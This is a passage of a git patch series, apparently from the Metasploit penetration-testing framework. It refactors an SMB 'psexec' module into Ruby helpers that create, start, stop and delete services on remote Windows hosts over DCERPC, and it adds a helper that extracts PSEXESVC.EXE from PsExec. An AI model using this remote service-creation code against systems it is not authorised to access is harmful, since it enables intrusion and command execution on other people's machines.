the DCERPC client to use. + # @param svc_handle [String] the handle of the service to start (from dce_openservicew()). + # @param magic1 [Fixnum] an unknown value. + # @param magic2 [Fixnum] another unknown value. + # + # @return [Boolean] true if the service was successfully started, false if it was not. + def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) + ret = false + stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) + response = dcerpc.call(0x13, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Stops a running service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to stop (from dce_openservicew()). + # + # @return [Boolean] true if the service was successfully stopped, false if it was not. + def dce_stopservice(dcerpc, svc_handle) + return dce_controlservice(dcerpc, svc_handle, 1) + end + + # Controls an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to control (from dce_openservicew()). + # @param operation [Fixnum] the operation number to perform (1 = stop service; others are unknown). + # + # @return [Boolean] true if the operation was successful, false if it was not. + def dce_controlservice(dcerpc, svc_handle, operation) + ret = false + response = dcerpc.call(0x01, svc_handle + NDR.long(operation)) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[28,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls DeleteService() to delete a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to delete (from dce_openservicew()). + # + # @return [Boolean] true if the service was successfully deleted, false if it was not. + def dce_deleteservice(dcerpc, svc_handle) + ret = false + response = dcerpc.call(0x02, svc_handle) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls QueryServiceStatus() to query the status of a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to query (from dce_openservicew()). + # + # @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned that isn't implemented), + # 1 if the service is running, and 2 if the service is stopped. + def dce_queryservice(dcerpc, svc_handle) + ret = 0 + response = dcerpc.call(0x06, svc_handle) + if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01" + ret = 1 + elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + ret = 2 + end + return ret + end + +end +end diff --git a/lib/msf/core/exploit/smb/psexec_svc.rb b/lib/msf/core/exploit/smb/psexec_svc.rb new file mode 100644 index 0000000000000..eb2bbbd82d041 --- /dev/null +++ b/lib/msf/core/exploit/smb/psexec_svc.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- +require 'digest' + +module Msf + +#### +# This allows one to extract PSEXESVC.EXE from Microsoft Sysinternal's +# PsExec.exe. +#### +module Exploit::Remote::SMB::PsexecSvc + + # Returns the bytes for PSEXESVC.EXE on success, or nil on error. + # + # @param psexec_path [String] the local filesystem path to PsExec.exe + # @param verbose [Boolean] true if verbosity is desired, false if otherwise. + # + # @return [String] the bytes corresponding to PSEXESVC.EXE. + def extract_psexesvc(psexec_path, verbose = false) + read_offset = 0 + bytes_to_read = 0 + if verbose + print_status("Calculating SHA-256 hash of #{psexec_path}...") + end + hash = Digest::SHA256.file(psexec_path).hexdigest + # If we were given a path to v1.98 (the latest as of the + # time of this writing), then we set the read offset and + # file size accordingly. Otherwise, we fail. Future + # versions of PsExec can be handled by adding the new + # hash, offset, and size to this code. + if hash == 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' + read_offset = 193288 + bytes_to_read = 181064 + else + if verbose + print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") + end + return nil + end + + if verbose + print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") + end + # Extract the PSEXESVC.EXE code from PsExec.exe. + hPsExec = File.open(psexec_path, 'rb') + hPsExec.seek(read_offset) + psexesvc = hPsExec.read(bytes_to_read) + hPsExec.close + + return psexesvc + end + +end +end diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 47e0ea3ffc999..eaa4790bde2f2 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -5,16 +5,17 @@ # http://metasploit.com/ ## -require 'digest' require 'msf/core' require 'rex/proto/smb/constants' require 'rex/proto/smb/exceptions' +require 'msf/core/exploit/smb/psexec_svc' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::PsexecSvc def initialize(info = {}) super(update_info(info, @@ -49,22 +50,7 @@ def run() psexec_path = datastore['PSEXEC_PATH'] command = datastore['COMMAND'] - # Make sure that the user provided a path to the latest version - # of PsExec (v1.98) by examining the file's hash. - print_status("Calculating SHA-256 hash of #{psexec_path}...") - hash = Digest::SHA256.file(psexec_path).hexdigest - if hash != 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' - print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") - return false - end - - print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") - - # Extract the PSEXESVC.EXE code from PsExec.exe. - hPsExec = File.open(datastore['PSEXEC_PATH'], 'rb') - hPsExec.seek(193288) - psexesvc = hPsExec.read(181064) - hPsExec.close + psexesvc = extract_psexesvc(psexec_path, true) print_status("Connecting to #{datastore['RHOST']}...") if not connect @@ -114,103 +100,59 @@ def run() dcerpc_bind(handle) print_status("Successfully bound to #{handle} ...") - ## - # OpenSCManagerW() - ## - print_status("Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(0xF003F) begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] + # Get a handle to the service control manager. + print_status('Obtaining a service control manager handle...') + scm_handle = dce_openscmanagerw(dcerpc, datastore['RHOST']) + if scm_handle == nil + print_error('Failed to obtain handle to service control manager.') + return end - rescue ::Exception => e - print_error("Error: #{e}") - return - end - ## - # CreateServiceW() - ## - - svc_handle = nil - svc_status = nil - - print_status("Creating a new service (PSEXECSVC - \"PsExec\")...") - stubdata = scm_handle + - NDR.wstring('PSEXESVC') + - NDR.uwstring('PsExec') + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000010) + # Type: Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring('%SystemRoot%\PSEXESVC.EXE') + # Binary Path - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("Error: #{e}") - return - end + # Create the service. + print_status('Creating a new service (PSEXECSVC - "PsExec")...') + begin + svc_handle = dce_createservicew(dcerpc, + scm_handle, + 'PSEXESVC', # Service name + 'PsExec', # Display name + '%SystemRoot%\PSEXESVC.EXE', # Binary path + {:type => 0x00000010}) # Type: Own process + if svc_handle == nil + print_error('Error while creating new service.') + return + end - ## - # CloseHandle() - ## - print_status("Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end + # Close the handle to the service. + if not dce_closehandle(dcerpc, svc_handle) + print_error('Failed to close service handle.') + # If this fails, we can still continue... + end - ## - # OpenServiceW - ## - print_status("Opening service...") - begin - stubdata = - scm_handle + - NDR.wstring('PSEXESVC') + - NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] + rescue ::Exception => e + # An exception can occur if the service already exists due to a prior unclean shutdown. We can try to + # continue anyway. end - rescue ::Exception => e - print_error("Error: #{e}") - return - end - ## - # StartService() - ## - print_status("Starting the service...") - stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + # Re-open the service. In case we failed to create the service because it already exists from a previous invokation, + # this will obtain a handle to it regardless. + print_status('Opening service...') + svc_handle = dce_openservicew(dcerpc, scm_handle, 'PSEXESVC') + if svc_handle == nil + print_error('Failed to open service.') + return end + + # Start the service. + print_status('Starting the service...') + if not dce_startservice(dcerpc, svc_handle) + print_error('Failed to start the service.') + return + end + rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") return end @@ -373,42 +315,40 @@ def run() smbclient.close(psexecsvc_proc_stderr.file_id) rescue nil smbclient.close(psexecsvc_proc.file_id) rescue nil - - ## - # ControlService() - ## - print_status("Stopping the service...") + # Stop the service. begin - response = dcerpc.call(0x01, svc_handle + NDR.long(1)) + print_status('Stopping the service...') + if not dce_stopservice(dcerpc, svc_handle) + print_error('Error while stopping the service.') + # We will try to continue anyway... + end rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") end - + # Wait a little bit for it to stop before we delete the service. if wait_for_service_to_stop(svc_handle) == false print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') end - ## - # DeleteService() - ## - print_status("Removing the service...") + # Delete the service. begin - response = dcerpc.call(0x02, svc_handle) - rescue ::Exception => e - print_error("Error: #{e}") - end + print_status("Removing the service...") + if not dce_deleteservice(dcerpc, svc_handle) + print_error('Error while deleting the service.') + # We will try to continue anyway... + end - ## - # CloseHandle() - ## - print_status("Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) + print_status("Closing service handle...") + if not dce_closehandle(dcerpc, svc_handle) + print_error('Error while closing the service handle.') + # We will try to continue anyway... + end rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") end + # Disconnect from the IPC$ share. print_status("Disconnecting from \\\\#{datastore['RHOST']}\\IPC\$") simple.disconnect("\\\\#{datastore['RHOST']}\\IPC\$") @@ -461,19 +401,7 @@ def wait_for_service_to_stop(svc_handle) while (retries < 3) and (service_stopped == false) select(nil, nil, nil, retries) - ## - # QueryServiceStatus() - ## - begin - response = dcerpc.call(0x06, svc_handle) - rescue ::Exception => e - print_error("Error: #{e}") - return false - end - - # This byte string signifies that the service is - # stopped. - if response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + if dce_queryservice(dcerpc, svc_handle) == 2 service_stopped = true else retries += 1 From 748c71bc5530bd7fbcc9dc8daf92c2b3f082a306 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:36:58 -0500 Subject: [PATCH 4/4] Retab changes for PR #2001 --- lib/msf/core/exploit/dcerpc.rb | 10 +- lib/msf/core/exploit/dcerpc_services.rb | 436 +++++----- lib/msf/core/exploit/smb/psexec_svc.rb | 74 +- lib/rex/proto/smb/client.rb | 532 ++++++------ modules/auxiliary/admin/smb/psexec_classic.rb | 794 +++++++++--------- 5 files changed, 923 insertions(+), 923 deletions(-) diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index a792acf31f388..dcdb2a45f63ca 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -29,11 +29,11 @@ module Exploit::Remote::DCERPC # Support TCP-based RPC services include Exploit::Remote::Tcp - # Helper methods for specific services - include Exploit::Remote::DCERPC_EPM - include Exploit::Remote::DCERPC_MGMT - include Exploit::Remote::DCERPC_LSA - include Exploit::Remote::DCERPC_SERVICES + # Helper methods for specific services + include Exploit::Remote::DCERPC_EPM + include Exploit::Remote::DCERPC_MGMT + include Exploit::Remote::DCERPC_LSA + include Exploit::Remote::DCERPC_SERVICES def initialize(info = {}) super diff --git a/lib/msf/core/exploit/dcerpc_services.rb b/lib/msf/core/exploit/dcerpc_services.rb index e0a806d0fdcd8..1933907d7049f 100644 --- a/lib/msf/core/exploit/dcerpc_services.rb +++ b/lib/msf/core/exploit/dcerpc_services.rb @@ -6,224 +6,224 @@ module Msf ### module Exploit::Remote::DCERPC_SERVICES - NDR = Rex::Encoder::NDR - - - # Calls OpenSCManagerW() to obtain a handle to the service control manager. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param rhost [String] the target host. - # @param access [Fixnum] the access flags requested. - # - # @return [String] the handle to the service control manager. - def dce_openscmanagerw(dcerpc, rhost, access = 0xF003F) - scm_handle = nil - scm_status = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(access) - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - scm_status = dcerpc.last_response.stub_data[20,4] - end - - if scm_status.to_i != 0 - scm_handle = nil - end - return scm_handle - end - - - # Calls CreateServiceW() to create a system service. Returns a handle to the service on success, or nil. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). - # @param service_name [String] the service name. - # @param display_name [String] the display name. - # @param binary_path [String] the path of the binary to run. - # @param opts [Hash] a hash containing the following keys and values: - # access [Fixnum] the access level (default is maximum). - # type [Fixnum] the type of service (default is interactive, own process). - # start [Fixnum] the start options (default is on demand). - # errors [Fixnum] the error options (default is ignore). - # load_order_group [Fixnum] the load order group. - # dependencies [Fixnum] the dependencies of the service. - # service_start [Fixnum] - # password1 [Fixnum] - # password2 [Fixnum] - # password3 [Fixnum] - # password4 [Fixnum] - # - # @return [String] a handle to the created service. - def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_path, opts) - default_opts = { - :access => 0x0F01FF, # Maximum access. - :type => 0x00000110, # Interactive, own process. - :start => 0x00000003, # Start on demand. - :errors => 0x00000000,# Ignore errors. - :load_order_group => 0, - :dependencies => 0, - :service_start => 0, - :password1 => 0, - :password2 => 0, - :password3 => 0, - :password4 => 0 - }.merge(opts) - - svc_handle = nil - svc_status = nil - stubdata = scm_handle + - NDR.wstring(service_name) + - NDR.uwstring(display_name) + - NDR.long(default_opts[:access]) + - NDR.long(default_opts[:type]) + - NDR.long(default_opts[:start]) + - NDR.long(default_opts[:errors]) + - NDR.wstring(binary_path) + - NDR.long(default_opts[:load_order_group]) + - NDR.long(default_opts[:dependencies]) + - NDR.long(default_opts[:service_start]) + - NDR.long(default_opts[:password1]) + - NDR.long(default_opts[:password2]) + - NDR.long(default_opts[:password3]) + - NDR.long(default_opts[:password4]) - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[4,20] - svc_status = dcerpc.last_response.stub_data[20,4] - end - - if svc_status.to_i != 0 - svc_handle = nil - end - return svc_handle - end - - # Calls CloseHandle() to close a handle. Returns true on success, or false. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param handle [String] the handle to close. - # - # @return [Boolean] true if the handle was successfully closed, or false if not. - def dce_closehandle(dcerpc, handle) - ret = false - response = dcerpc.call(0x0, handle) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - if dcerpc.last_response.stub_data[20,4].to_i == 0 - ret = true - end - end - return ret - end - - # Calls OpenServiceW to obtain a handle to an existing service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). - # @param service_name [String] the name of the service to open. - # @param access [Fixnum] the level of access requested (default is maximum). - # - # @return [String, nil] the handle of the service opened, or nil on failure. - def dce_openservicew(dcerpc, scm_handle, service_name, access = 0xF01FF) - svc_handle = nil - svc_status = nil - stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access) - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[20,4] - end - - if svc_status.to_i != 0 - svc_handle = nil - end - return svc_handle - end - - # Calls StartService() on a handle to an existing service in order to start it. Returns true on success, or false. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to start (from dce_openservicew()). - # @param magic1 [Fixnum] an unknown value. - # @param magic2 [Fixnum] another unknown value. - # - # @return [Boolean] true if the service was successfully started, false if it was not. - def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) - ret = false - stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - if dcerpc.last_response.stub_data[0,4].to_i == 0 - ret = true - end - end - return ret - end - - # Stops a running service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to stop (from dce_openservicew()). - # - # @return [Boolean] true if the service was successfully stopped, false if it was not. - def dce_stopservice(dcerpc, svc_handle) - return dce_controlservice(dcerpc, svc_handle, 1) - end - - # Controls an existing service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to control (from dce_openservicew()). - # @param operation [Fixnum] the operation number to perform (1 = stop service; others are unknown). - # - # @return [Boolean] true if the operation was successful, false if it was not. - def dce_controlservice(dcerpc, svc_handle, operation) - ret = false - response = dcerpc.call(0x01, svc_handle + NDR.long(operation)) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - if dcerpc.last_response.stub_data[28,4].to_i == 0 - ret = true - end - end - return ret - end - - # Calls DeleteService() to delete a service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to delete (from dce_openservicew()). - # - # @return [Boolean] true if the service was successfully deleted, false if it was not. - def dce_deleteservice(dcerpc, svc_handle) - ret = false - response = dcerpc.call(0x02, svc_handle) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - if dcerpc.last_response.stub_data[0,4].to_i == 0 - ret = true - end - end - return ret - end - - # Calls QueryServiceStatus() to query the status of a service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to query (from dce_openservicew()). - # - # @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned that isn't implemented), - # 1 if the service is running, and 2 if the service is stopped. - def dce_queryservice(dcerpc, svc_handle) - ret = 0 - response = dcerpc.call(0x06, svc_handle) - if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01" - ret = 1 - elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" - ret = 2 - end - return ret - end + NDR = Rex::Encoder::NDR + + + # Calls OpenSCManagerW() to obtain a handle to the service control manager. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param rhost [String] the target host. + # @param access [Fixnum] the access flags requested. + # + # @return [String] the handle to the service control manager. + def dce_openscmanagerw(dcerpc, rhost, access = 0xF003F) + scm_handle = nil + scm_status = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(access) + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + scm_status = dcerpc.last_response.stub_data[20,4] + end + + if scm_status.to_i != 0 + scm_handle = nil + end + return scm_handle + end + + + # Calls CreateServiceW() to create a system service. Returns a handle to the service on success, or nil. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the service name. + # @param display_name [String] the display name. + # @param binary_path [String] the path of the binary to run. + # @param opts [Hash] a hash containing the following keys and values: + # access [Fixnum] the access level (default is maximum). + # type [Fixnum] the type of service (default is interactive, own process). + # start [Fixnum] the start options (default is on demand). + # errors [Fixnum] the error options (default is ignore). + # load_order_group [Fixnum] the load order group. + # dependencies [Fixnum] the dependencies of the service. + # service_start [Fixnum] + # password1 [Fixnum] + # password2 [Fixnum] + # password3 [Fixnum] + # password4 [Fixnum] + # + # @return [String] a handle to the created service. + def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_path, opts) + default_opts = { + :access => 0x0F01FF, # Maximum access. + :type => 0x00000110, # Interactive, own process. + :start => 0x00000003, # Start on demand. + :errors => 0x00000000,# Ignore errors. + :load_order_group => 0, + :dependencies => 0, + :service_start => 0, + :password1 => 0, + :password2 => 0, + :password3 => 0, + :password4 => 0 + }.merge(opts) + + svc_handle = nil + svc_status = nil + stubdata = scm_handle + + NDR.wstring(service_name) + + NDR.uwstring(display_name) + + NDR.long(default_opts[:access]) + + NDR.long(default_opts[:type]) + + NDR.long(default_opts[:start]) + + NDR.long(default_opts[:errors]) + + NDR.wstring(binary_path) + + NDR.long(default_opts[:load_order_group]) + + NDR.long(default_opts[:dependencies]) + + NDR.long(default_opts[:service_start]) + + NDR.long(default_opts[:password1]) + + NDR.long(default_opts[:password2]) + + NDR.long(default_opts[:password3]) + + NDR.long(default_opts[:password4]) + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[4,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls CloseHandle() to close a handle. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param handle [String] the handle to close. + # + # @return [Boolean] true if the handle was successfully closed, or false if not. + def dce_closehandle(dcerpc, handle) + ret = false + response = dcerpc.call(0x0, handle) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[20,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls OpenServiceW to obtain a handle to an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the name of the service to open. + # @param access [Fixnum] the level of access requested (default is maximum). + # + # @return [String, nil] the handle of the service opened, or nil on failure. + def dce_openservicew(dcerpc, scm_handle, service_name, access = 0xF01FF) + svc_handle = nil + svc_status = nil + stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access) + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls StartService() on a handle to an existing service in order to start it. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to start (from dce_openservicew()). + # @param magic1 [Fixnum] an unknown value. + # @param magic2 [Fixnum] another unknown value. + # + # @return [Boolean] true if the service was successfully started, false if it was not. + def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) + ret = false + stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) + response = dcerpc.call(0x13, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Stops a running service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to stop (from dce_openservicew()). + # + # @return [Boolean] true if the service was successfully stopped, false if it was not. + def dce_stopservice(dcerpc, svc_handle) + return dce_controlservice(dcerpc, svc_handle, 1) + end + + # Controls an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to control (from dce_openservicew()). + # @param operation [Fixnum] the operation number to perform (1 = stop service; others are unknown). + # + # @return [Boolean] true if the operation was successful, false if it was not. + def dce_controlservice(dcerpc, svc_handle, operation) + ret = false + response = dcerpc.call(0x01, svc_handle + NDR.long(operation)) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[28,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls DeleteService() to delete a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to delete (from dce_openservicew()). + # + # @return [Boolean] true if the service was successfully deleted, false if it was not. + def dce_deleteservice(dcerpc, svc_handle) + ret = false + response = dcerpc.call(0x02, svc_handle) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls QueryServiceStatus() to query the status of a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to query (from dce_openservicew()). + # + # @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned that isn't implemented), + # 1 if the service is running, and 2 if the service is stopped. + def dce_queryservice(dcerpc, svc_handle) + ret = 0 + response = dcerpc.call(0x06, svc_handle) + if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01" + ret = 1 + elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + ret = 2 + end + return ret + end end end diff --git a/lib/msf/core/exploit/smb/psexec_svc.rb b/lib/msf/core/exploit/smb/psexec_svc.rb index eb2bbbd82d041..19997fc1aadc5 100644 --- a/lib/msf/core/exploit/smb/psexec_svc.rb +++ b/lib/msf/core/exploit/smb/psexec_svc.rb @@ -9,45 +9,45 @@ module Msf #### module Exploit::Remote::SMB::PsexecSvc - # Returns the bytes for PSEXESVC.EXE on success, or nil on error. - # - # @param psexec_path [String] the local filesystem path to PsExec.exe - # @param verbose [Boolean] true if verbosity is desired, false if otherwise. - # - # @return [String] the bytes corresponding to PSEXESVC.EXE. - def extract_psexesvc(psexec_path, verbose = false) - read_offset = 0 - bytes_to_read = 0 - if verbose - print_status("Calculating SHA-256 hash of #{psexec_path}...") - end - hash = Digest::SHA256.file(psexec_path).hexdigest - # If we were given a path to v1.98 (the latest as of the - # time of this writing), then we set the read offset and - # file size accordingly. Otherwise, we fail. Future - # versions of PsExec can be handled by adding the new - # hash, offset, and size to this code. - if hash == 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' - read_offset = 193288 - bytes_to_read = 181064 - else - if verbose - print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") - end - return nil - end + # Returns the bytes for PSEXESVC.EXE on success, or nil on error. + # + # @param psexec_path [String] the local filesystem path to PsExec.exe + # @param verbose [Boolean] true if verbosity is desired, false if otherwise. + # + # @return [String] the bytes corresponding to PSEXESVC.EXE. + def extract_psexesvc(psexec_path, verbose = false) + read_offset = 0 + bytes_to_read = 0 + if verbose + print_status("Calculating SHA-256 hash of #{psexec_path}...") + end + hash = Digest::SHA256.file(psexec_path).hexdigest + # If we were given a path to v1.98 (the latest as of the + # time of this writing), then we set the read offset and + # file size accordingly. Otherwise, we fail. Future + # versions of PsExec can be handled by adding the new + # hash, offset, and size to this code. + if hash == 'f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5' + read_offset = 193288 + bytes_to_read = 181064 + else + if verbose + print_error("Hash is not correct!\nExpected: f8dbabdfa03068130c277ce49c60e35c029ff29d9e3c74c362521f3fb02670d5\nActual: #{hash}\nEnsure that you have PsExec v1.98.") + end + return nil + end - if verbose - print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") - end - # Extract the PSEXESVC.EXE code from PsExec.exe. - hPsExec = File.open(psexec_path, 'rb') - hPsExec.seek(read_offset) - psexesvc = hPsExec.read(bytes_to_read) - hPsExec.close + if verbose + print_status("File hash verified. Extracting PSEXESVC.EXE code from #{psexec_path}...") + end + # Extract the PSEXESVC.EXE code from PsExec.exe. + hPsExec = File.open(psexec_path, 'rb') + hPsExec.seek(read_offset) + psexesvc = hPsExec.read(bytes_to_read) + hPsExec.close - return psexesvc - end + return psexesvc + end end end diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index b839df61e9ade..ce9028d65a5be 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -142,18 +142,18 @@ def smb_send(data, evasion_level=0) end end - # Set the SMB parameters to some reasonable defaults - def smb_defaults(packet) - packet.v['MultiplexID'] = self.multiplex_id.to_i - packet.v['TreeID'] = self.last_tree_id.to_i - packet.v['UserID'] = self.auth_user_id.to_i - packet.v['ProcessID'] = self.process_id.to_i - self.multiplex_id = (self.multiplex_id + 16) % 65536 - end + # Set the 